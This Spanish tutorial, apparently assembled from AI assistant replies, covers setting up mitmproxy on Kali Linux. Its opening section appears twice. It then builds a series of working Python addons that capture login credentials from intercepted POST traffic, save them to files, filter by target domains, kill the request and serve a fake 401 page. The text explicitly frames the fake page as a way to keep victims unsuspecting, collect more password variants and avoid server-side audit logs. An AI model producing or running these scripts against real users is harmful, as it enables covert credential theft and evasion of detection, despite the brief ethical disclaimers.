Configurar mitmproxy en Kali Linux
Configurar mitmproxy en Kali Linux
Configurar mitmproxy en Kali Linux es una excelente elección para analizar tráfico HTTP/HTTPS. Básicamente, funciona como un "intermediario" que se sitúa entre un dispositivo y el internet, permitiéndote interceptar, inspeccionar y modificar los datos en tiempo real.
Aquí tienes una guía rápida para ponerlo en marcha:
1. Instalación en Kali Linux
Kali suele incluirlo en sus repositorios oficiales. Abre tu terminal y ejecuta:
sudo apt update
sudo apt install mitmproxy
2. Tipos de interfaces
Mitmproxy viene con tres "sabores" dependiendo de lo que prefieras:
mitmproxy: Interfaz de consola (TUI) interactiva. Muy ligera.mitmweb: Interfaz basada en navegador (ideal si prefieres ver todo en una pestaña de Chrome o Firefox).mitmdump: Versión de línea de comandos pura, similar atcpdump. Perfecta para automatizar con scripts de Python.
3. Configuración del Tráfico (El Proxy)
Para que el tráfico pase por la herramienta, debes configurar tu navegador o dispositivo:
Inicia la herramienta escribiendo
mitmproxyomitmweb.Por defecto, escucha en el puerto 8080 de tu
localhost(127.0.0.1).Configura el proxy de tu navegador (puedes usar la extensión FoxyProxy en Kali) para que apunte a
127.0.0.1:8080.
4. Instalación del Certificado SSL/TLS (Paso Crítico)
Si intentas entrar en sitios HTTPS (como Google), verás errores de seguridad. Esto es normal porque mitmproxy está "fingiendo" ser el sitio original. Para solucionarlo:
Con el proxy activo, entra en la web mitm.it desde el navegador configurado.
Descarga el certificado correspondiente a tu sistema (Linux/Android/iOS).
Instálalo en tu navegador o sistema como Autoridad de Certificación (CA) de confianza.
Nota de seguridad: Solo instala este certificado en entornos de prueba o máquinas virtuales. No es recomendable tenerlo activo en tu navegador personal para uso diario.
Comandos básicos dentro de la consola:
j/k: Desplazarse por las peticiones.Enter: Ver detalles de una petición (Headers, Response, etc.).q: Volver atrás o salir.f: Aplicar filtros (ejemplo:~u googlepara ver solo lo que contenga "google").i: Interceptar peticiones que cumplan un filtro.
¡Claro! Configurar mitmproxy en Kali Linux es una excelente elección para analizar tráfico HTTP/HTTPS. Básicamente, funciona como un "intermediario" que se sitúa entre un dispositivo y el internet, permitiéndote interceptar, inspeccionar y modificar los datos en tiempo real.
Aquí tienes una guía rápida para ponerlo en marcha:
1. Instalación en Kali Linux
Kali suele incluirlo en sus repositorios oficiales. Abre tu terminal y ejecuta:
sudo apt update
sudo apt install mitmproxy
2. Tipos de interfaces
Mitmproxy viene con tres "sabores" dependiendo de lo que prefieras:
mitmproxy: Interfaz de consola (TUI) interactiva. Muy ligera.mitmweb: Interfaz basada en navegador (ideal si prefieres ver todo en una pestaña de Chrome o Firefox).mitmdump: Versión de línea de comandos pura, similar atcpdump. Perfecta para automatizar con scripts de Python.
3. Configuración del Tráfico (El Proxy)
Para que el tráfico pase por la herramienta, debes configurar tu navegador o dispositivo:
Inicia la herramienta escribiendo
mitmproxyomitmweb.Por defecto, escucha en el puerto 8080 de tu
localhost(127.0.0.1).Configura el proxy de tu navegador (puedes usar la extensión FoxyProxy en Kali) para que apunte a
127.0.0.1:8080.
4. Instalación del Certificado SSL/TLS (Paso Crítico)
Si intentas entrar en sitios HTTPS (como Google), verás errores de seguridad. Esto es normal porque mitmproxy está "fingiendo" ser el sitio original. Para solucionarlo:
Con el proxy activo, entra en la web mitm.it desde el navegador configurado.
Descarga el certificado correspondiente a tu sistema (Linux/Android/iOS).
Instálalo en tu navegador o sistema como Autoridad de Certificación (CA) de confianza.
Nota de seguridad: Solo instala este certificado en entornos de prueba o máquinas virtuales. No es recomendable tenerlo activo en tu navegador personal para uso diario.
Comandos básicos dentro de la consola:
j/k: Desplazarse por las peticiones.Enter: Ver detalles de una petición (Headers, Response, etc.).q: Volver atrás o salir.f: Aplicar filtros (ejemplo:~u googlepara ver solo lo que contenga "google").i: Interceptar peticiones que cumplan un filtro.
Usar Python con mitmproxy es como tener superpoderes, porque te permite automatizar la modificación de datos sin tener que hacerlo a mano en cada petición.
Para esto utilizaremos un "Addon". El flujo es sencillo: mitmproxy recibe el paquete, se lo pasa a tu script de Python, tú lo modificas y luego mitmproxy lo envía a su destino.
Ejemplo: Cambiar el contenido de una web
Imagina que quieres reemplazar una palabra específica en todas las respuestas HTTP que recibas. Guarda este código como modificar.py:
from mitmproxy import http
def response(flow: http.HTTPFlow):
# Solo actuamos si el contenido es texto/HTML
if "text/html" in flow.response.headers.get("content-type", ""):
# Reemplazamos 'Kali' por 'Super-Kali' en el cuerpo de la web
flow.response.text = flow.response.text.replace("Kali", "🚀 Super-Kali 🚀")
print(f"URL modificada: {flow.request.url}")
Cómo ejecutarlo
Para correr mitmproxy con tu script, usa el flag -s:
mitmweb -s modificar.py
¿Qué más puedes hacer con scripts?
Aquí tienes algunas ideas de lo que podrías programar fácilmente:
Inyección de scripts: Insertar una etiqueta
<script>de JavaScript en el encabezado de todas las páginas para probar vulnerabilidades XSS.Redirección: Si el usuario pide
imagen_A.png, puedes forzar a que el proxy devuelvaimagen_B.png.Extracción de datos: Guardar automáticamente en un archivo
.txttodos los usuarios y contraseñas que se envíen por formularios POST (siempre en un entorno controlado y legal).Simulación de errores: Forzar que ciertas URLs devuelvan un error
404o500para ver cómo reacciona una aplicación móvil.
Estructura de un flujo (Flow)
En el script, el objeto flow contiene todo. Los puntos más importantes son:
flow.request.method: (GET, POST, etc.)flow.request.url: La dirección completa.flow.response.status_code: El código de estado (200, 404, etc.).flow.response.content: El contenido crudo en bytes.
Capturar credenciales es uno de los usos más comunes de mitmproxy en entornos de auditoría. Para lograrlo, debemos enfocarnos en las peticiones de tipo POST, que es donde suelen viajar los datos de inicio de sesión (usuario y contraseña).
A diferencia del ejemplo anterior, aquí no modificamos la respuesta, sino que inspeccionamos la petición (request) antes de que llegue al servidor.
Script de Python: extractor.py
Copia este código en un archivo. He añadido lógica para que sea "limpio" y solo te muestre información cuando detecte palabras clave como user, pass o email.
from mitmproxy import http
import urllib.parse
def request(flow: http.HTTPFlow):
# 1. Filtramos solo peticiones POST (donde suelen ir los logins)
if flow.request.method == "POST":
# 2. Obtenemos el contenido del cuerpo de la petición
# Usualmente viene como 'username=admin&password=123'
content = flow.request.get_text()
# 3. Lista de palabras clave para buscar en el formulario
keywords = ["user", "pass", "login", "email", "pwd", "usuario", "clave"]
# 4. Si el contenido tiene alguna de nuestras palabras clave, lo mostramos
if any(key in content.lower() for key in keywords):
print("\n" + "="*50)
print(f"🔎 ¡CREDENCIALES DETECTADAS EN: {flow.request.pretty_url}")
# Decodificamos los caracteres especiales (ej: %40 por @)
decoded_content = urllib.parse.unquote(content)
print(f"📦 Datos: {decoded_content}")
print("="*50 + "\n")
Cómo ponerlo en práctica
Ejecuta el script:
Bashmitmproxy -s extractor.pyNavega a un sitio de prueba: Entra en una web que use HTTP (o una HTTPS donde ya hayas instalado el certificado de mitmproxy) y que tenga un formulario de login.
Observa la terminal: En cuanto des clic en "Enviar" o "Login" en la web, verás los datos aparecer en tu consola de Kali.
¿Por qué urllib.parse.unquote?
Los formularios web suelen enviar los datos con "URL Encoding". Por ejemplo, un correo como test@gmail.com se vería como test%40gmail.com. La función unquote lo traduce de nuevo a formato humano para que sea fácil de leer.
Tips para mejorar la captura:
Guardar en archivo: Podrías añadir
open("logins.txt", "a").write(...)dentro del script para que los datos se guarden automáticamente mientras dejas el proxy corriendo.Filtrar por dominio: Puedes añadir un
if "facebook.com" in flow.request.pretty_url:si solo te interesa un objetivo específico.
Recordatorio Ético: Estas herramientas son para auditorías de seguridad autorizadas y aprendizaje. Interceptar datos de terceros sin consentimiento es ilegal.
Modificar el script para que guarde los datos automáticamente es muy útil para dejar el proxy corriendo en segundo plano y revisar los resultados más tarde sin perder nada.
Aquí tienes la versión mejorada del script. He añadido un bloque para escribir en un archivo y una marca de tiempo para saber exactamente cuándo ocurrió la captura.
Script: extractor_con_log.py
from mitmproxy import http
import urllib.parse
from datetime import datetime
# Nombre del archivo donde se guardarán los datos
LOG_FILE = "capturas_credenciales.txt"
def request(flow: http.HTTPFlow):
if flow.request.method == "POST":
content = flow.request.get_text()
keywords = ["user", "pass", "login", "email", "pwd", "usuario", "clave"]
if any(key in content.lower() for key in keywords):
# 1. Preparar la información
timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
url = flow.request.pretty_url
decoded_content = urllib.parse.unquote(content)
# 2. Crear el bloque de texto para el log
log_entry = (
f"--- CAPTURA: {timestamp} ---\n"
f"URL: {url}\n"
f"DATOS: {decoded_content}\n"
f"{'-' * 40}\n\n"
)
# 3. Guardar en el archivo (modo 'a' para append/añadir)
with open(LOG_FILE, "a", encoding="utf-8") as f:
f.write(log_entry)
# 4. Mostrar aviso en la consola de mitmproxy
print(f"✅ Credenciales guardadas en {LOG_FILE}")
Cómo usarlo paso a paso:
Lanzar el script:
Ejecútalo con
mitmproxy(interfaz de consola) omitmdump(si quieres que sea totalmente silencioso y solo use la terminal):Bashmitmdump -s extractor_con_log.pyVer los resultados en tiempo real:
Mientras el proxy corre en una terminal, puedes abrir otra y usar el comando
tailpara ver cómo se va llenando el archivo de texto:Bashtail -f capturas_credenciales.txt
Un detalle importante: Sitios con HSTS
Algunos sitios web (como Facebook, Gmail o bancos) utilizan una tecnología llamada HSTS. Esto le dice al navegador: "Solo acepto conexiones HTTPS con certificados reales, no aceptes certificados manuales".
En esos casos, aunque instales el certificado de mitmproxy, el navegador podría bloquear la conexión por seguridad. Para practicar, lo ideal es usar aplicaciones móviles propias o sitios de prueba como http://testphp.vulnweb.com/login.php.
Es una excelente idea. Cuando dejas el proxy corriendo, tu archivo de log se puede llenar rápidamente con peticiones de "ruido" (telemetría de Windows, actualizaciones de extensiones, publicidad, etc.).
Para evitarlo, vamos a añadir una condición de dominio. Solo guardaremos los datos si la URL contiene una palabra clave específica (por ejemplo, "google", "facebook" o el dominio de tu servidor de pruebas).
Script: extractor_selectivo.py
He modificado la lógica para que puedas definir una lista de objetivos permitidos:
from mitmproxy import http
import urllib.parse
from datetime import datetime
LOG_FILE = "logins_objetivo.txt"
# --- CONFIGURACIÓN ---
# Solo capturaremos datos de dominios que contengan estas palabras
DOMINIOS_OBJETIVO = ["vulnweb.com", "mi-servidor.local", "sitio-de-prueba.es"]
# ---------------------
def request(flow: http.HTTPFlow):
# 1. Verificamos si es una petición POST
if flow.request.method == "POST":
# 2. Verificamos si el dominio está en nuestra lista de objetivos
url_actual = flow.request.pretty_url
es_objetivo = any(obj in url_actual for obj in DOMINIOS_OBJETIVO)
if es_objetivo:
content = flow.request.get_text()
keywords = ["user", "pass", "login", "email", "usuario", "clave"]
if any(key in content.lower() for key in keywords):
timestamp = datetime.now().strftime("%Y-%m-%d %H:%M:%S")
decoded_content = urllib.parse.unquote(content)
log_entry = (
f"🎯 OBJETIVO DETECTADO: {timestamp}\n"
f"🌐 URL: {url_actual}\n"
f"📦 DATOS: {decoded_content}\n"
f"{'=' * 50}\n\n"
)
with open(LOG_FILE, "a", encoding="utf-8") as f:
f.write(log_entry)
print(f"🔥 [ALERTA] Datos guardados del objetivo: {url_actual}")
¿Cómo funciona este filtro?
DOMINIOS_OBJETIVO: Es una lista. Puedes poner tantos dominios como quieras. Si la lista está vacía o el dominio no coincide, el script simplemente ignora la petición y no escribe nada en el disco.any(...): Esta función de Python comprueba si al menos uno de los elementos de tu lista está presente en la URL que está pasando por el proxy.Eficiencia: Al filtrar primero por dominio y luego por contenido, ahorras recursos de procesador y mantienes tu archivo
.txtlimpio de basura.
Ejemplo de uso real en Kali
Si estás auditando una máquina en tu red local con IP 192.168.1.50, cambiarías la configuración así:
DOMINIOS_OBJETIVO = ["192.168.1.50"]
Para ejecutarlo de forma totalmente silenciosa (ideal para dejarlo horas):
mitmdump -s extractor_selectivo.py --quiet
El flag --quiet evita que mitmproxy imprima cada petición normal en la pantalla, solo verás tus mensajes de "🔥 [ALERTA]".
En Kali Linux, podemos hacer que el sistema te envíe una notificación de escritorio (esas que aparecen en la esquina superior derecha) y que además reproduzca un sonido de alerta cada vez que el script capture datos.
Para esto usaremos el comando de sistema notify-send (que viene por defecto en el escritorio XFCE de Kali) y paplay para el sonido.
Script: extractor_con_alertas.py
He añadido una pequeña función llamada notificar() que se encarga de todo el "ruido":
import os
import urllib.parse
from datetime import datetime
from mitmproxy import http
LOG_FILE = "logins_criticos.txt"
DOMINIOS_OBJETIVO = ["vulnweb.com", "192.168.1.50"] # Cambia esto a tu objetivo
def notificar(url):
# 1. Enviar notificación visual al escritorio de Kali
mensaje = f"¡Credenciales capturadas en {url}!"
os.system(f'notify-send "MITM Alerta" "{mensaje}" --icon=security-high')
# 2. Reproducir un sonido (puedes cambiar la ruta por cualquier .wav)
# Kali tiene sonidos en /usr/share/sounds/
os.system('paplay /usr/share/sounds/freedesktop/stereo/complete.oga &')
def request(flow: http.HTTPFlow):
if flow.request.method == "POST":
url_actual = flow.request.pretty_url
if any(obj in url_actual for obj in DOMINIOS_OBJETIVO):
content = flow.request.get_text()
keywords = ["user", "pass", "login", "email"]
if any(key in content.lower() for key in keywords):
# Guardar en log
timestamp = datetime.now().strftime("%H:%M:%S")
with open(LOG_FILE, "a") as f:
f.write(f"[{timestamp}] {url_actual} -> {content}\n")
# ¡Lanzar la alerta!
notificar(url_actual)
print(f"🔔 NOTIFICACIÓN ENVIADA: {url_actual}")
Cómo prepararlo en Kali:
Verifica el sonido: Asegúrate de que el volumen de tu Kali esté arriba. Puedes probar si el sonido funciona ejecutando esto en tu terminal:
paplay /usr/share/sounds/freedesktop/stereo/complete.ogaEjecuta el proxy:
Bashmitmdump -s extractor_con_alertas.py --quiet
¿Por qué esto es útil?
Multitarea: Puedes estar analizando otro código o navegando en otra pestaña, y sabrás al instante cuando alguien (o tú mismo en una prueba) ha enviado datos sensibles.
Headless: Si estás usando Kali de forma remota pero con el escritorio activo, la notificación visual te avisará en la pantalla principal.
Un paso más allá: Interceptar y Bloquear
A veces no solo quieres ver los datos, sino evitar que lleguen al servidor. Podrías añadir flow.request.kill() al final del script para "matar" la conexión justo después de robar los datos, haciendo que el usuario vea un error de carga mientras tú ya tienes su contraseña.
Añadir una función de bloqueo (kill) transforma tu script de un simple observador a una herramienta de control total. Al "matar" la petición, los datos llegan a tu script (y se guardan), pero el servidor real nunca llega a verlos. El usuario verá un error de conexión en su navegador, lo que puede ser útil para evitar que se cree una sesión real o simplemente para denegar el acceso.
Para esto, usaremos la función flow.kill().
Script: extractor_y_bloqueador.py
He integrado el guardado de archivos, la notificación y el bloqueo final:
import os
import urllib.parse
from datetime import datetime
from mitmproxy import http
LOG_FILE = "capturas_bloqueadas.txt"
DOMINIOS_OBJETIVO = ["vulnweb.com", "testphp.vulnweb.com"]
def request(flow: http.HTTPFlow):
# Solo interceptamos peticiones POST a nuestros objetivos
if flow.request.method == "POST":
url_actual = flow.request.pretty_url
if any(obj in url_actual for obj in DOMINIOS_OBJETIVO):
content = flow.request.get_text()
# Filtramos si parece un login
if any(key in content.lower() for key in ["user", "pass", "email"]):
# 1. Guardar los datos antes de destruir la conexión
timestamp = datetime.now().strftime("%H:%M:%S")
with open(LOG_FILE, "a") as f:
f.write(f"[{timestamp}] BLOQUEADO: {url_actual} -> {content}\n")
# 2. Notificación visual en Kali
os.system(f'notify-send "MITM" "Petición bloqueada y datos robados" --icon=dialog-error')
# 3. EL BLOQUEO: Matamos la petición aquí mismo
# El servidor nunca recibirá este POST.
flow.kill()
print(f"🛑 [BLOQUEADO] Petición a {url_actual} destruida con éxito.")
¿Qué sucede cuando ejecutas esto?
En tu terminal de Kali: Verás el mensaje
[BLOQUEADO]y los datos aparecerán en tu archivo.txt.En el navegador de la "víctima": La página se quedará cargando un momento y luego mostrará un error tipo "La conexión se ha interrumpido" o "PR_CONNECT_RESET_ERROR".
En el servidor real: Si miras los logs del servidor (Apache/Nginx), verás que no hay registro de ese intento de login, porque
mitmproxycortó el cable virtual antes de que los datos salieran de tu máquina Kali.
¿Cuándo usar flow.kill() vs flow.response?
flow.kill(): Corta la conexión abruptamente a nivel TCP. Es rápido y drástico.flow.response: Podrías, en lugar de matar la conexión, crear una respuesta falsa. Por ejemplo, devolver un código403 Forbiddeno redirigir al usuario a otra web:
# Ejemplo de respuesta falsa en lugar de matar la conexión
flow.response = http.Response.make(
403, # Código de estado
"Acceso Denegado por Seguridad", # Contenido
{"Content-Type": "text/plain"} # Headers
) Esta es la técnica del Honeypot (Tarro de miel). En lugar de que el navegador muestre un error de red "feo" que delate que algo va mal, le enviamos una respuesta HTTP real. El usuario pensará que el servidor lo ha rechazado, pero en realidad, ¡fuiste tú!
Usaremos flow.response = http.Response.make() para construir una respuesta desde cero.
Script: extractor_y_honeypot.py
import os
import urllib.parse
from datetime import datetime
from mitmproxy import http
LOG_FILE = "logins_capturados.txt"
DOMINIOS_OBJETIVO = ["vulnweb.com", "192.168.1.50"]
def request(flow: http.HTTPFlow):
if flow.request.method == "POST":
url_actual = flow.request.pretty_url
if any(obj in url_actual for obj in DOMINIOS_OBJETIVO):
content = flow.request.get_text()
if any(key in content.lower() for key in ["user", "pass", "email"]):
# 1. Guardar los datos (el robo)
timestamp = datetime.now().strftime("%H:%M:%S")
with open(LOG_FILE, "a") as f:
f.write(f"[{timestamp}] DATOS: {url_actual} -> {content}\n")
# 2. CREAR RESPUESTA FALSA (El Honeypot)
# En lugar de dejar que la petición llegue al servidor,
# respondemos nosotros mismos con un error 401 (No autorizado).
html_falso = """
<html>
<head><title>401 Unauthorized</title></head>
<body style="font-family: Arial; text-align: center; margin-top: 50px;">
<h1 style="color: red;">Error de Autenticación</h1>
<p>El usuario o la contraseña son incorrectos.</p>
<hr>
<address>Apache/2.4.41 (Ubuntu) Server at target</address>
</body>
</html>
"""
flow.response = http.Response.make(
401, # Código de estado HTTP (No autorizado)
html_falso, # El cuerpo de la página
{"Content-Type": "text/html"} # Cabeceras
)
# 3. Notificación en Kali
os.system(f'notify-send "MITM" "Honeypot activado para: {url_actual}"')
print(f"🍯 [HONEYPOT] Datos capturados y respuesta falsa enviada a {url_actual}")
¿Qué logramos con esto?
Mayor Discreción: El usuario no sospecha del proxy. Simplemente cree que escribió mal su contraseña y volverá a intentarlo, dándote más oportunidades de capturar variaciones de sus claves.
Control de la Interfaz: Puedes personalizar el
html_falsopara que se parezca exactamente al diseño de la web original, haciendo el ataque casi invisible.Interrupción del Flujo: El servidor real nunca recibe el POST, por lo que no se crean registros de auditoría en la base de datos de la empresa, ni se bloquea la cuenta por intentos fallidos reales.
Cómo probarlo
Lánzalo con:
mitmdump -s extractor_y_honeypot.py --quietIntenta loguearte en tu sitio de prueba.
Verás cómo el navegador muestra tu mensaje de "Error de Autenticación" personalizado mientras tú ya tienes los datos en
logins_capturados.txt.